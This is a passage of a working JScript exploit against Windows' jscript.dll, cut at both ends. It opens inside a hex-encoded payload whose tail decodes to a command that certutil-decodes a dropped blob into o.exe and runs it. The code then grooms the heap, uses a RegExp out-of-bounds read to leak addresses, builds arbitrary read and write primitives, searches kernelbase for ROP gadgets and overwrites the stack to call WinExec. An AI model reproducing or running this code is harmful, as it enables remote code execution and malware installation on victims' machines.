6d62,0x306c,0x5761,0x7346,0x5861,0x6c70,0x4141,0x4d42,0x4541,0x764e,0x3252,0x3056,0x5753,0x7a35,0x4764,0x7546,0x3259,0x4756,0x6d63,0x7439,0x5653,0x304e,0x3362,0x684a,0x325a,0x4155,0x3262,0x6c78,0x7a4d,0x7549,0x475a,0x7378,0x4e41,0x426b,0x6e55,0x6a42,0x3255,0x7956,0x6d64,0x7956,0x4754,0x7a6c,0x4764,0x7556,0x4e41,0x4230,0x6e55,0x6a42,0x3255,0x7956,0x6d64,0x7956,0x6d55,0x6e56,0x5861,0x304e,0x585a,0x4a4a,0x6a5a,0x4149,0x4f41,0x4230,0x6e55,0x6a42,0x3255,0x7956,0x6d64,0x7956,0x5856,0x6c4e,0x4855,0x764a,0x4864,0x6c4e,0x5563,0x7756,0x7756,0x4141,0x6775,0x5346,0x4763,0x4e4e,0x325a,0x3031,0x3256,0x7046,0x4664,0x6c4e,0x6e63,0x6c5a,0x6b63,0x7078,0x3363,0x6c52,0x6762,0x6b43,0x5641,0x774a,0x3059,0x746c,0x4763,0x7956,0x3263,0x7539,0x5859,0x6c52,0x3251,0x7078,0x575a,0x3035,0x4141,0x4944,0x5641,0x774a,0x3159,0x6c4a,0x6d64,0x7956,0x4664,0x7652,0x3255,0x7356,0x675a,0x6144,0x5641,0x774a,0x3159,0x6c4e,0x6e63,0x6c5a,0x6c63,0x6c4a,0x325a,0x7a6c,0x4764,0x7956,0x5851,0x3056,0x4561,0x756c,0x6d5a,0x4239,0x4141,0x7641,0x5541,0x6b35,0x6c63,0x6c4e,0x6e63,0x6c5a,0x6b63,0x684e,0x4762,0x7977,0x4141,0x5342,0x4555,0x534e,0x4456,0x7551,0x475a,0x7378,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5554,0x5056,0x7756,0x4145,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4d41,0x4141,0x4141,0x4141,0x4141,0x4742,0x4141,0x4141,0x4141,0x4145,0x4141,0x5441,0x6773,0x6546,0x7269,0x776c,0x5875,0x7977,0x4f70,0x5456,0x6a39,0x4a33,0x6265,0x4857,0x6b56,0x6358,0x6b45,0x676b,0x5a35,0x5646,0x674a,0x6f59,0x6844,0x4159,0x6745,0x4841,0x4441,0x4145,0x674d,0x3341,0x4341,0x4134,0x414d,0x7541,0x4441,0x4141,0x674c,0x7841,0x4641,0x4173,0x674e,0x3241,0x4441,0x4159,0x674e,0x6442,0x4141,0x4141,0x4141,0x4b41,0x5041,0x2f2f,0x4141,0x4141,0x4d41,0x6d41,0x4541,0x4241,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x6b41,0x4145,0x4141,0x7852,0x4141,0x4441,0x7777,0x4141,0x6b42,0x4145,0x4141,0x6863,0x4145,0x4d41,0x7741,0x4141,0x3042,0x5145,0x4141,0x526a,0x4145,0x4c41,0x7767,0x4141,0x4d42,0x6745,0x4141,0x4232,0x4149,0x4a41,0x7767,0x4141,0x5541,0x7745,0x4141,0x784f,0x4151,0x4941,0x7777,0x4141,0x6b42,0x4146,0x4141,0x5277,0x4151,0x4b41,0x7767,0x4141,0x7744,0x4146,0x4141,0x7854,0x4159,0x4d41,0x7767,0x4141,0x5142,0x6746,0x4141,0x4262,0x4159,0x4941,0x7751,0x4141,0x7342,0x6746,0x4141,0x6868,0x4159,0x4741,0x7751,0x4141,0x4943,0x6746,0x4141,0x5270,0x4159,0x4541,0x7777,0x4141,0x6f43,0x6746,0x4141,0x7879,0x4159,0x4641,0x7751,0x4141,0x4d44,0x6746,0x4141,0x7837,0x4159,0x4641,0x7777,0x4141,0x3444,0x6746,0x4141,0x6845,0x4163,0x4841,0x7751,0x4141,0x5541,0x7746,0x4141,0x784b,0x4163,0x4741,0x7777,0x4141,0x7341,0x7746,0x4141,0x6852,0x4163,0x4841,0x7777,0x4141,0x4d42,0x7746,0x4141,0x5258,0x4163,0x4e41,0x7767,0x4141,0x3043,0x7746,0x4141,0x6834,0x4163,0x4541,0x7751,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5141,0x5941,0x4141,0x4141,0x4147,0x4141,0x4167,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5141,0x4241,0x4141,0x4141,0x414d,0x4141,0x4167,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x5141,0x4a41,0x4142,0x4141,0x4153,0x4141,0x4741,0x6742,0x4141,0x3942,0x5141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4441,0x2f77,0x4765,0x7331,0x4849,0x6c5a,0x6e63,0x704e,0x3262,0x3934,0x7a4a,0x7545,0x434d,0x6763,0x575a,0x6a35,0x3262,0x7052,0x6d62,0x3963,0x314a,0x5556,0x6952,0x3430,0x794a,0x7a42,0x4764,0x7546,0x475a,0x7346,0x3262,0x6c35,0x5350,0x3564,0x585a,0x6e4d,0x7a50,0x4e34,0x6a43,0x6878,0x3363,0x6c4e,0x5762,0x734a,0x5365,0x3442,0x5762,0x7578,0x7a63,0x6e30,0x5864,0x754a,0x6e4f,0x6a4e,0x4761,0x7456,0x5859,0x744d,0x5762,0x6a6c,0x6d63,0x7a39,0x3262,0x305a,0x574c,0x764e,0x5462,0x6870,0x3263,0x7530,0x6a64,0x6e45,0x4749,0x6831,0x6d62,0x6d6c,0x585a,0x304e,0x6d56,0x7956,0x3263,0x766c,0x6a62,0x6e30,0x534d,0x7734,0x7a4a,0x4e34,0x6943,0x6741,0x4850,0x7952,0x5864,0x304e,0x5753,0x6d35,0x7962,0x3442,0x5762,0x7578,0x7a63,0x6930,0x5864,0x754a,0x6e4f,0x6a4e,0x4761,0x7456,0x5859,0x744d,0x5762,0x6a6c,0x6d63,0x7a39,0x3262,0x305a,0x574c,0x764e,0x5462,0x6870,0x3263,0x7530,0x6a64,0x694d,0x6750,0x4b30,0x4349,0x6741,0x4449,0x7a78,0x575a,0x314e,0x6d63,0x306c,0x5465,0x4e34,0x6943,0x6741,0x4349,0x6741,0x4449,0x7978,0x585a,0x3146,0x585a,0x304e,0x575a,0x5152,0x6d63,0x326c,0x5761,0x6c78,0x325a,0x7a56,0x6750,0x4b30,0x4349,0x6741,0x4349,0x6741,0x4349,0x3841,0x6d63,0x7856,0x5764,0x7a56,0x4764,0x6b56,0x5852,0x6c68,0x3359,0x3056,0x5761,0x7539,0x4754,0x3256,0x575a,0x6777,0x4762,0x3256,0x575a,0x3977,0x324a,0x7a46,0x5753,0x3235,0x3262,0x6c74,0x6963,0x6763,0x5764,0x426c,0x3259,0x6c4e,0x3363,0x394d,0x324a,0x685a,0x4862,0x6c4e,0x794a,0x7641,0x6750,0x4b30,0x4349,0x6741,0x4349,0x6741,0x4350,0x7939,0x585a,0x3146,0x585a,0x304e,0x575a,0x5152,0x6d63,0x326c,0x5761,0x6c78,0x325a,0x7a56,0x6750,0x4b30,0x4349,0x6741,0x4449,0x7677,0x3263,0x6a56,0x5864,0x704a,0x4864,0x2b6b,0x5144,0x676f,0x4449,0x7677,0x4864,0x314a,0x3363,0x4a52,0x6d62,0x765a,0x6750,0x4b30,0x4350,0x6839,0x3363,0x6c4e,0x5762,0x734a,0x5465,0x4e34,0x6743,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4341,0x4141,0x4741,0x4177,0x4141,0x4942,0x6c6f,0x6943,0x4b57,0x674a,0x6d6f,0x6969,0x4b63,0x344a,0x6f6f,0x6943,0x4b69,0x514b,0x706f,0x6969,0x4b6f,0x6f4b,0x726f,0x6943,0x4b75,0x414c,0x736f,0x6969,0x4b30,0x594c,0x756f,0x6943,0x4b36,0x774c,0x766f,0x6969,0x4b41,0x494d,0x786f,0x6a43,0x4b47,0x674e,0x6d70,0x6d69,0x4b63,0x345a,0x7170,0x6d69,0x4b38,0x5159,0x7970,0x6e43,0x4b4b,0x7763,0x3270,0x6e43,0x4b79,0x5166,0x3970,0x6e69,0x4b34,0x6f66,0x2f70,0x6e43,0x4b41,0x4967,0x4271,0x6f43,0x4b47,0x6767,0x4371,0x6f69,0x4541,0x4141,0x4141,0x4177,0x4141,0x7742,0x416f,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x4141,0x3d41,0x3e20,0x6320,0x5c3a,0x7375,0x7265,0x5c73,0x7570,0x6c62,0x6369,0x625c,0x742e,0x7478,0x3b20,0x6320,0x7265,0x7574,0x6974,0x206c,0x642d,0x6365,0x646f,0x2065,0x3a63,0x755c,0x6573,0x7372,0x705c,0x6275,0x696c,0x5c63,0x2e62,0x7874,0x2074,0x3a63,0x755c,0x6573,0x7372,0x705c,0x6275,0x696c,0x5c63,0x2e6f,0x7865,0x2065,0x203b,0x3a63,0x755c,0x6573,0x7372,0x705c,0x6275,0x696c,0x5c63,0x2e6f,0x7865,0x2265,0x0);

function alert(str) {
  //window.alert(str);
  Math.acos(str);
}

function prompt(str1, str2) {
  //window.prompt(str1, str2);
  Math.asin(str1 + ' : ' + str2);
}

var segmentheap = true;

var lfharrsize = 342;
var arrelements = 170;

// tells us with which array index we'll be overwriting which object/hashtable entry
// likely will be different for Segment Heap unless the space between allocations is same

var arrindex1 = 181;
var objindex1 = 98;
var hash1 = 0x401;

var arrindex2 = 182;
var objindex2 = 232;
var hash2 = 0x3c07;

var arrindex3 = 183;
var objindex3 = 238;
var hash3 = 0x3c0d;

var arrindex4 = 185;
var objindex4 = 243;
var hash4 = 0x3c19;

var arrindex5 = 186;
var objindex5 = 249;
var hash5 = 0x3c1f;

var straddress = 0;
var strarr = new Array(1000);
var exploitobj = 0;

// fix various offsets if we are in nt heap and not segment heap
function inntheap() {
  lfharrsize = 340;
  arrelements = 169;

  arrindex1 = 172;
  objindex1 = 234;
  hash1 = 0x3c09;

  arrindex2 = 175;
  objindex2 = 245;
  hash2 = 0x3c1b;

  arrindex3 = 177;
  objindex3 = 250;
  hash3 = 0x3c27;

  arrindex4 = 178;
  objindex4 = 256;
  hash4 = 0x3c2d;

  arrindex5 = 179;
  objindex5 = 3;
  hash5 = 0x33;
}

function qwordFromStr(str, index) {
  var cc1 = String.prototype.charCodeAt.call(str, index);
  var cc2 = String.prototype.charCodeAt.call(str, index+1);
  var cc3 = String.prototype.charCodeAt.call(str, index+2);
  var cc4 = String.prototype.charCodeAt.call(str, index+3);
  return cc1 + 65536 * cc2 + 4294967296 * cc3 + 281474976710656 * cc4;
}

function dwordFromStr(str, index) {
  var cc1 = String.prototype.charCodeAt.call(str, index);
  var cc2 = String.prototype.charCodeAt.call(str, index+1);
  return cc1 + 65536 * cc2;
}

function qwordToStr(value) {
  return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536, Math.floor(value/4294967296) % 65536, Math.floor(value/281474976710656));
}

function dwordToStr(value) {
  return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536);
}

function isAddress(value) {
  if(value > 140737488355327) return false;
  return true;
}

function fakeVAR(name, hash, type, value, extra) {
  return String.fromCharCode(type,0,0,0) + qwordToStr(value) + String.fromCharCode(extra,0,0,0, 0,0,0,0) + dwordToStr(hash) + String.fromCharCode(name.length * 2, 0) + "aaaaaaaaaaaa" + name + String.fromCharCode(0,0,0,0).substr(0, 4-name.length) + "aaaa";
}

// makes jscript believe that exploitobj[objindex1] is a string
// whose data is on 'address'
function fakeStringAt(address) {
  exploitobj[objindex1] = address * 4.9406564584124654E-324;
  exploitobj[objindex2] = exploitobj[objindex4];
}

// warning warning warning: this will currently corrupt data around
// (8 bytes before and 8 bytes after) the 8 bytes being written
function write(address, data) {
  exploitobj[objindex1] = address * 4.9406564584124654E-324;
  exploitobj[objindex2] = exploitobj[objindex5];
  exploitobj[objindex1] = 4.9406564584124654E-324 * data;
}

function readQword(address) {
  var offset = 0;
  while(1) {
    fakeStringAt(address - offset * 2);
    if(exploitobj[objindex1].length >= 4 + offset) {
      var ret = qwordFromStr(exploitobj[objindex1], offset);
      exploitobj[objindex2] = exploitobj[objindex3];
      return ret;
    }
    offset += 1;
  }
}

//given an address that points somewhere inside a module
//finds the base address of that module
function getModuleBase(address) {
  var baseaddress = address - address % 0x10000;
  fakeStringAt(baseaddress + 4);
  while(exploitobj[objindex1].length % 0x8000 != 0x2d26) {
    baseaddress = baseaddress - 0x10000;
    fakeStringAt(baseaddress + 4);
  }
  return baseaddress;
}

//retrieves address of a Jscript object or string
function getObjectAddress(object) {
  exploitobj[objindex1] = object;
  exploitobj[objindex2] = exploitobj[objindex3];
  var objaddress1 = exploitobj[objindex1] / 4.9406564584124654E-324;
  return readQword(objaddress1 + 8);
}

//retrieves address of jscript.dll module in memory
function getJscriptAddress() {
  var object = {};
  var objaddress = getObjectAddress(object);
  var vtableaddress = readQword(objaddress);
  return getModuleBase(vtableaddress);
}

//loads the entire module in a jscript string and returns it
function loadModuleInString(baseaddress) {
  stroffset = 4;
  fakeStringAt(baseaddress + stroffset);

  var coff = dwordFromStr(exploitobj[objindex1], (0x3C - stroffset)/2);
  var imgsize = dwordFromStr(exploitobj[objindex1], (coff + 4 + 20 + 56 - stroffset)/2);

  var ret = "MZ" + String.prototype.substr.call(exploitobj[objindex1], 0, (imgsize - stroffset)/2);

  exploitobj[objindex2] = exploitobj[objindex3];

  return ret;  
}

//searches for the iat inside a module and retrieves the
//address at the specified index
function getImport(str, iatindex) {
  var coff = dwordFromStr(str, 0x3C/2);
  var iat = dwordFromStr(str, (coff + 4 + 20 + 208)/2);
  return qwordFromStr(str, (iat + iatindex)/2);
}

//searches the export table for a specified name
//note that in export table names are 8-bit strings while
//in jscript strings are 16-bits. This is why 2 names need to
//be provided which correspond to 16-bit representations of the
//name when read from index 0 or at index 1
function findExport(str, name1, name2) {
  var coff = dwordFromStr(str, 0x3C/2);
  var exportdir = dwordFromStr(str, (coff + 4 + 20 + 112)/2);
  var numentries = dwordFromStr(str, (exportdir + 24)/2);
  var nameptrs = dwordFromStr(str, (exportdir + 32)/2);

  var index = -1;
  for(var i=0; i<numentries; i++) {
    var nameptr = dwordFromStr(str, (nameptrs + i*4)/2);
    if(nameptr % 2 == 0) {
      if(str.substr(nameptr/2, name1.length) == name1) {
        index = i;
        break;
      }
    } else {
      if(str.substr(Math.floor(nameptr/2)+1, name2.length) == name2) {
        index = i;
        break;
      }
    }
  }
  if(index == -1) {
    alert('error finding export entry');
    return 0;
  }
  var rvas = dwordFromStr(str, (exportdir + 28)/2);
  var rva = dwordFromStr(str, (rvas + index*4)/2);
  return rva;  
}  

//writes an array of values at the specified address
//note that 16 bits immediately before address are going to get corrupted
function writeArray(address, arr) {
  //prepare fake vars with payload in the last 8 bytes
  var fakeVARs = "";
  for(var i=0; i<arr.length; i++) {
     fakeVARs += String.fromCharCode(3,0,0,0,3,0,0,0) + qwordToStr(arr[i]);
  }
  fakeVARs1 = fakeVARs.substr(0, fakeVARs.length);
  var fakeVARsaddr = getObjectAddress(fakeVARs1);
  for(var i=arr.length-1; i>=0; i--) {
    var dstaddress = address + 8*i - 16;
    var fakeVARaddr = fakeVARsaddr + i*24;

    //read fake var
    exploitobj[objindex1] = fakeVARaddr * 4.9406564584124654E-324;
    exploitobj[objindex2] = exploitobj[objindex5];
    var datavar = exploitobj[objindex1];
    exploitobj[objindex2] = exploitobj[objindex3];

    //write fake var
    exploitobj[objindex1] = dstaddress * 4.9406564584124654E-324;
    exploitobj[objindex2] = exploitobj[objindex5];
    exploitobj[objindex1] = datavar;
    exploitobj[objindex2] = exploitobj[objindex3];
  }
}

function writeArray_trampoline(address, arr) {
  writeArray(address, arr);
}

//executes windows command given address of winexec and some ROP gagdets
function callWinExec(command, winexec, ret, poprcxret, poprdxret) {
  var cmdaddr = getObjectAddress(command);
  var roparr = [ret, poprcxret, cmdaddr, poprdxret, 1, winexec];
  //var roparr = [0x42424242, 0x43434343, 0x44444444];

  //leak stack
  var object = {};
  var objaddress1 = getObjectAddress(object);

  var objaddress2 = readQword(objaddress1 + 24);
  var stackaddress = readQword(objaddress2 + 80);

  exploitobj[objindex2] = exploitobj[objindex3];

  prompt('stackaddress', stackaddress.toString(16));

  writeArray_trampoline(stackaddress-0x78, roparr);
  //writeArray_trampoline(stackaddress+0x188, roparr);
}

function doStuff() {
   //demonstrates arbitrary write
   //write(0x4141414141, 0x4242424242);

   //demonstrates arbitrary read
   //fakeStringAt(0x4141414141);
   //alert(exploitobj[objindex1].length);

   CollectGarbage();

   var jscriptaddress = getJscriptAddress();

   var jscriptstr = loadModuleInString(jscriptaddress);

   var virtualprotect = getImport(jscriptstr, 320);

   var kernel32 = getModuleBase(virtualprotect);

   var kernel32str = loadModuleInString(kernel32);

   var kernelbase = getImport(kernel32str, 0);

   kernelbase = getModuleBase(kernelbase);

   kernelbasestr = loadModuleInString(kernelbase);

   //find ROP gadgets
   var gadget = kernelbasestr.indexOf(String.fromCharCode(0xccc3), 0x1000/2);
   if(gadget == -1) {
     alert('Error finding ROP gadgets 1');
     return 0;
   }
   var ret = kernelbase + gadget * 2;

   var gadget = kernelbasestr.indexOf(String.fromCharCode(0x1459, 0xc300), 0x1000/2);
   if(gadget == -1) {
     alert('Error finding ROP gadgets for pop rcx');
     gadget = kernelbasestr.indexOf(String.fromCharCode(0x7559, 0xb806, 0x0005, 0x0000, 0xB8C3), 0x1000/2);
     if(gadget == -1) {
       alert('Error finding second gadget for pop rcx');
       return 0;
     }
   }
   var poprcxret = kernelbase + gadget * 2;

   var gadget = kernelbasestr.indexOf(String.fromCharCode(0x145a, 0xc300), 0x1000/2);
   if(gadget == -1) {
     alert('Error finding ROP gadgets for pop rdx');
     gadget = kernelbasestr.indexOf(String.fromCharCode(0x665A, 0x0005, 0xC33B), 0x1000/2);
     if(gadget == -1) {
       alert('Error finding second gadget for pop rdx');
       return 0;
     }
   }
   var poprdxret = kernelbase + gadget * 2;

   var winexec = kernel32 + findExport(kernel32str, String.fromCharCode(0x6957, 0x456e, 0x6578), String.fromCharCode(0x6e69, 0x7845, 0x6365));

   //callWinExec(String.fromCharCode(0x6d63,0x0064), winexec, ret, poprcxret, poprdxret);
   callWinExec(payload, winexec, ret, poprcxret, poprdxret);

   alert('done');  
}

function infoleak() {
  //alert('infoleak start');
 
  // make a string of 20000 bytes or larger
  var str = "aaaaaaaaaa";
  while(str.length < 10000) str = str + str;

  // allocate a lot of strings
  for(var i=0; i<1000; i++) {
    strarr[i] = str.substr(0,10000);
  }

  // free half of the strings
  for(var i=0; i<500; i++) {
    strarr[i*2] = 1;
  }

  // actually free the strings
  CollectGarbage();

  // trigger out of bounds read of 20080 bytes from a 20000-byte string
  var r= new RegExp(Array(42).join('()'));
  strarr[737].search(r);
  RegExp.input = 0x2738;
  var leak = RegExp.lastParen;
  if(leak.length != 0x2738) {
    alert('infoleak failed 1');
    return 0;
  }
  if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2734) != 0x61)) {
    alert('infoleak failed 2');
    return 0;
  }
  if((leak.charCodeAt(0x2724) == 0x61) && (leak.charCodeAt(0x2727) == 0x61)) {
    alert('nt heap detected');
    segmentheap = false;
    inntheap();
  }
  if(segmentheap) {
    //straddress = qwordFromStr(leak, 10024) + 16;
    //straddress = qwordFromStr(leak, 10028) + 16;
    straddress = qwordFromStr(leak, 10032) + 16;
  } else {
    straddress = qwordFromStr(leak, 10012) + 8;
  }
  if(!isAddress(straddress)) {
    alert('infoleak failed');
    return 0;
  }

  var str2 = "aaaaaaaa" + fakeVAR(objindex1.toString(), hash1, 3, 1337, 0) + fakeVAR(objindex2.toString(), hash2, 0x400c, straddress, 0) + fakeVAR(objindex3.toString(), hash3, 3, 1339, 5) + fakeVAR(objindex4.toString(), hash4, 3, 1340, 8) + fakeVAR(objindex5.toString(), hash5, 3, 1341, 0x400c) + str;

  for(var i=0; i<500; i++) {
    strarr[i*2] = str2.substr(0,10000);
  }

  prompt('infoleak address: ', straddress.toString(16));

  return 1;
}

function overflow() {
  //alert('overflow start');

  // enable LFH for allocations with size ~0x2000
  // function.apply causes malloc (array size * 24) & free to be called
  function lfhf() { return 1; }
  var lfharr = new Array(lfharrsize);
  for(var i=0;i<5000;i++) {
    lfhf.apply({}, lfharr);
  }

  // create array to call sort on
  // 169 elements because (169 + 1)*48 = 0x0x1fe0 so it should fall in the same LFH bucket as 0x2000
  var arr = new Array(300);
  for(var i=0; i<arrelements; i++) arr[i] = "a";

  // allocate some object whose hashtables we're going to overwrite. Currently their hashtables are 0x400 bytes each
  // but we'll change that soon
  var objects = new Array(2000);
  for(var i=0; i<2000; i++) {
    var o = {};
